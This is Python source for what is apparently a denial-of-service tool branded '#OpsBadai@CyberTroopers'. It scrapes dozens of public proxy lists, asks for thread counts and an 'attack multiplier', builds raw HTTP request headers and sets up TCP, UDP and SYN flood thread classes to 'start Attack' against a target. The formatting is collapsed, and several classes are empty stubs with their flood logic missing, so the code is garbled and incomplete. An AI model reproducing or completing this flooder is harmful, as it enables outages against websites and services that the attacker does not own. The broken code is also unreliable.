def choiceproxysocks(): global choice3 choice3 = input(f"{Fore.CYAN}\n[Choose Protocol Method] - {Fore.GREEN}[0] HTTP Protocol {Fore.MAGENTA}[1] SOCKS Protocol\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}") try: if choice3 == "0": clear() choicedownproxy() elif choice3 == "1": clear() choicedownsocks() except IndexError or ValueError: clear() print(f"{Fore.Red}You mistyped, try again.") choiceproxysocks()
def choicedownproxy(): global out_file choicedp = input(f"{Fore.CYAN}\n[Choose] - {Fore.GREEN}[Y] Download Proxy {Fore.MAGENTA}[N] Use current proxy list\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}") if choicedp.lower() == "y": clear() out_file = "new_proxy" choicemirror1() elif choicedp.lower() == "n": clear() out_file = "own_proxy" proxylist() else: clear() print(f"{Fore.Red}You mistyped, try again.") choicedownproxy()
def choicedownsocks(): global out_file choicesocks = input(f"{Fore.CYAN}\n[Choose] - {Fore.GREEN}[Y] Download Proxy {Fore.MAGENTA}[N] Use current proxy list\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}") if choicesocks.lower() == "y": clear() out_file = "new_proxy" choicemirror2() elif choicesocks.lower() == "n": clear() out_file = "own_proxy" proxylist() else: clear() print(f"{Fore.Red}You mistyped, try again.") choicedownsocks()
def choicemirror1(): choicem1 = input (f"{Fore.CYAN}\n[Choose] - {Fore.GREEN}[1] Huge Proxy List {Fore.MAGENTA}[2] Small Proxy List\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}") if choicem1 == "1": clear() proxybig() elif choicem1 == "2": clear() proxysmall() else: clear() print(f"{Fore.Red}You mistyped, try again.") choicemirror1()
def choicemirror2(): choicem2 = input (f"{Fore.CYAN}\n[Choose] - {Fore.GREEN}[1] Mix Proxy {Fore.MAGENTA}[2] SOCK4/5 Proxy\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}") if choicem2 == "1": proxybig() elif choicem2 == "2": proxysocks() else: print(f"{Fore.Red}You mistyped, try again.") choicemirror2()
def proxysocks(): try: sock_api = [ "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4", "https://openproxylist.xyz/socks4.txt", "https://proxyspace.pro/socks4.txt", "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS4.txt", "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks4.txt", "https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks4.txt", "https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt", "https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks4.txt", "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt", "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt", "https://www.proxy-list.download/api/v1/get?type=socks4", "https://www.proxyscan.io/download?type=socks4", "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all", "https://api.openproxylist.xyz/socks4.txt", "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all&simplified=true", "https://www.proxy-list.download/api/v1/get?type=socks5", "https://www.proxyscan.io/download?type=socks5", "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt", "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt", "https://api.openproxylist.xyz/socks5.txt", "https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5", "https://openproxylist.xyz/socks5.txt", "https://proxyspace.pro/socks5.txt", "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS5.txt", "https://raw.githubusercontent.com/manuGMG/proxy-365/main/SOCKS5.txt", "https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks5.txt", "https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS5_RAW.txt", "https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks5.txt", ] ips = [] print(f"{Fore.GREEN}\n[w00t!] - Downloading proxies, this might take a while!") print(f"{Fore.GREEN}[w00t!] - This is SOCK4 & 5 Proxy. Use Mix Proxy for bigger proxy list.") for api in sock_api: try: r = requests.get(api, timeout=15) ips += re.findall(r"(?:\d{1,3}[.:]){3}\d{1,3}:\d+", r.text) except: pass with open("proxy.txt", "w") as f: for ip in set(ips): f.write(ip + "\n") print(f"{Fore.GREEN}[w00t!] - Successful with no problemo!") except: print("\nERROR!\n") CheckProxyOption()
def proxysmall(): try: http_api = [ "https://api.proxyscrape.com/?request=displayproxies&proxytype=http", "https://www.proxy-list.download/api/v1/get?type=http", "https://www.proxyscan.io/download?type=http", "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", "https://api.openproxylist.xyz/http.txt", "https://proxy-spider.com/api/proxies.example.txt", "https://multiproxy.org/txt_all/proxy.txt", ] ips = [] print(f"{Fore.GREEN}\n[w00t!] - Downloading proxies, please wait!") print(f"{Fore.GREEN}[w00t!] - Fast internet speed? Use bigger List Proxy.") for api in http_api: try: r = requests.get(api, timeout=15) ips += re.findall(r"(?:\d{1,3}[.:]){3}\d{1,3}:\d+", r.text) except: pass with open("proxy.txt", "w") as f: for ip in set(ips): f.write(ip + "\n") print(f"{Fore.GREEN}[w00t!] - Successful with no problemo!") except: print("\nERROR!\n") CheckProxyOption()
def proxybig(): try: http_api = [ "https://api.proxyscrape.com/?request=displayproxies&proxytype=http", "https://www.proxy-list.download/api/v1/get?type=http", "https://www.proxyscan.io/download?type=http", "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", "https://api.openproxylist.xyz/http.txt", "https://raw.githubusercontent.com/shiftytr/proxy-list/master/proxy.txt", "http://alexa.lr2b.com/proxylist.txt", "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt", "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt", "https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", "https://proxy-spider.com/api/proxies.example.txt", "https://multiproxy.org/txt_all/proxy.txt", "https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt", "https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/http.txt", "https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/https.txt", "https://api.proxyscrape.com/v2/?request=getproxies&protocol=http", "https://openproxylist.xyz/http.txt", "https://proxyspace.pro/http.txt", "https://proxyspace.pro/https.txt", "https://raw.githubusercontent.com/almroot/proxylist/master/list.txt", "https://raw.githubusercontent.com/aslisk/proxyhttps/main/https.txt", "https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/HTTP.txt", "https://raw.githubusercontent.com/hendrikbgr/Free-Proxy-Repo/master/proxy_list.txt", "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-https.txt", "https://raw.githubusercontent.com/mertguvencli/http-proxy-list/main/proxy-list/data.txt", "https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt", "https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt", "https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt", "https://raw.githubusercontent.com/RX4096/proxy-list/main/online/http.txt", "https://raw.githubusercontent.com/RX4096/proxy-list/main/online/https.txt", "https://raw.githubusercontent.com/saisuiu/uiu/main/free.txt", "https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/http.txt", "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt", "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt", "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", "https://rootjazz.com/proxies/proxies.txt", "https://sheesh.rip/http.txt", "https://www.proxy-list.download/api/v1/get?type=https", ] ips = [] print(f"{Fore.GREEN}\n[w00t!] - Downloading proxies, please wait!") print(f"{Fore.GREEN}\n[w00t!] - Huge proxy list, this might take a while.") for api in http_api: try: r = requests.get(api, timeout=15) ips += re.findall(r"(?:\d{1,3}[.:]){3}\d{1,3}:\d+", r.text) except: pass with open("proxy.txt", "w") as f: for ip in set(ips): f.write(ip + "\n") print(f"{Fore.GREEN}[w00t!] - Successful with no problemo!") except: print("\nERROR!\n") CheckProxyOption()
def CheckProxyOption(): global out_file proxyopt = input(f"{Fore.CYAN}[ Check Proxy? ] - {Fore.GREEN}[Y] Check proxy {Fore.RED}(Will take time!) {Fore.GREEN}| {Fore.MAGENTA}[N] Skip Proxy Checks\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}") if proxyopt.lower() == "y": CheckProxy() elif proxyopt.lower() == "n": out_file = "own_proxy" proxylist() else: print(f"{Fore.Red}Wrong option, try again.") CheckProxyOption()
def CheckProxy(): def check_proxy(proxy_type, proxy): try: requests.get("https://icanhazip.com", proxies={proxy_type: proxy}, timeout=5) return True except: return False
def proxylist(): global proxies, out_file print(f"\n{Fore.GREEN}[w00t!] - {Fore.MAGENTA}Removing duplicate proxies.") if out_file == "new_proxy": out_file = "working_proxy.txt" elif out_file == "own_proxy": out_file = "proxy.txt" else: out_file = "proxy.txt"
def proxydict(): global proxies2, out_file if out_file == "new_proxy": out_file = "working_proxy.txt" elif out_file == "own_proxy": out_file = "proxy.txt" else: out_file = "proxy.txt"
def numthreads(): global threads clear() try: threads = int(input(f"\n\n{Fore.CYAN}[w00t!] - {Fore.GREEN}Enter your desired thread amount.{Fore.YELLOW}\n- Threads for Low-End Devices {Fore.RED}[15-30]{Fore.YELLOW}\n- Threads for Mid-End Devices {Fore.RED}[31-50]{Fore.YELLOW}\n- Threads for High-End Devices {Fore.RED}[51-100]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}")) if threads < 15: print(f"{Fore.GREEN}\n[w00t!] - Thread are set too low! Try again.") numthreads() elif threads >= 15: print(f"{Fore.GREEN}\n[w00t!] - Thread are set to [{threads}].\n\n") elif threads >= 50: print(f"{Fore.GREEN}\n[w00t!] - Thread are set to [{threads}].\n\n{Fore.YELLOW}[w00t!] - Temperature may rise unexpectedly!") except ValueError: print(f"{Fore.RED}\n[w00t!] - Invalid thread number!\n") numthreads() if threads > 101: print(f"{Fore.RED}[w00t!] - Error: Exceeding 100 is too overkill! Try again.") multiplication()
def multiplication(): global multiple clear() try: multiple = int(input(f"{Fore.CYAN}\nMinimum Multiplication Attack\n\n{Fore.GREEN}- Low Multiplier: [50-100]\n{Fore.BLUE}- Normal Multiplier: [100-500]\n{Fore.MAGENTA}- Best Multiplier: [500-1000]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}")) except ValueError: print(f"{Fore.RED}You mistyped, try again.\n") multiplication() begin()
def begin(): choice6 = input(f"{Fore.CYAN}\nPress 'w00t!' to start Attack\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}") if choice6 == "w00t!": loop() else: print(f"{Fore.RED}You mistyped, try again.\n") exit(0)
def loop(): global threads global get_host global acceptall global connection global go global x go = threading.Event() if choice1 == "0": get_host = "GET " + url2 + " HTTP/1.1\r\nHost: " + url2 + "\r\n" acceptall = ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", "Accept-Encoding: gzip, deflate\r\n", "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"] connection = "Connection: Keep-Alive\r\n" x = 0 if choice1 == "3": get_host = "POST " + url2 + " HTTP/1.1\r\nHost: " + url2 + "\r\n" acceptall = ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", "Accept-Encoding: gzip, deflate\r\n", "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"] connection = "Connection: Keep-Alive\r\n" x = 0 if choice1 == "4": get_host = "HEAD " + url2 + " HTTP/1.1\r\nHost: " + url2 + "\r\n" acceptall = ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", "Accept-Encoding: gzip, deflate\r\n", "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"] connection = "Connection: Keep-Alive\r\n" x = 0 if choice1 == "5": get_host = "CONNECT " + url2 + " HTTP/1.1\r\nHost: " + url2 + "\r\n" acceptall = ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", "Accept-Encoding: gzip, deflate\r\n", "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"] connection = "Connection: Keep-Alive\r\n" x = 0 if choice1 == "1": if choice2.lower() == "y": if choice3 == "0": for x in range(threads): tcpfloodproxed(x+1).start() print (f"{Fore.CYAN}Thread " + str(x) + " Ready!") go.set() elif choice3 == "1": for x in range(threads): tcpfloodsocked(x+1).start() print (f"{Fore.CYAN}Thread " + str(x) + " Ready!") go.set() else: for x in range(threads): tcpflood(x+1).start() print (f"{Fore.CYAN}Thread " + str(x) + " Ready!") go.set() else: for x in range(threads): tcpflood(x+1).start() print (f"{Fore.CYAN}Thread " + str(x) + " Ready!") go.set()
class tcpfloodproxed(threading.Thread): def init(self, counter): threading.Thread.init(self) self.counter = counter
class tcpfloodsocked(threading.Thread): def init(self, counter): threading.Thread.init(self) self.counter = counter
class tcpflood(threading.Thread): def init(self, counter): threading.Thread.init(self) self.counter = counter
class udpfloodproxed(threading.Thread): def init(self, counter): threading.Thread.init(self) self.counter = counter
class udpfloodsocked(threading.Thread): def init(self, counter): threading.Thread.init(self) self.counter = counter
class udpflood(threading.Thread): def init(self, counter): threading.Thread.init(self) self.counter = counter
class requestproxy(threading.Thread):
class requestsocks(threading.Thread):
class synflood(threading.Thread): def init(self, counter, multiple=1): threading.Thread.init(self) self.counter = counter self.url = url self.proxies = proxies self.multiple = multiple
class direct(threading.Thread): def init(self, counter): threading.Thread.init(self) self.counter = counter
targetType()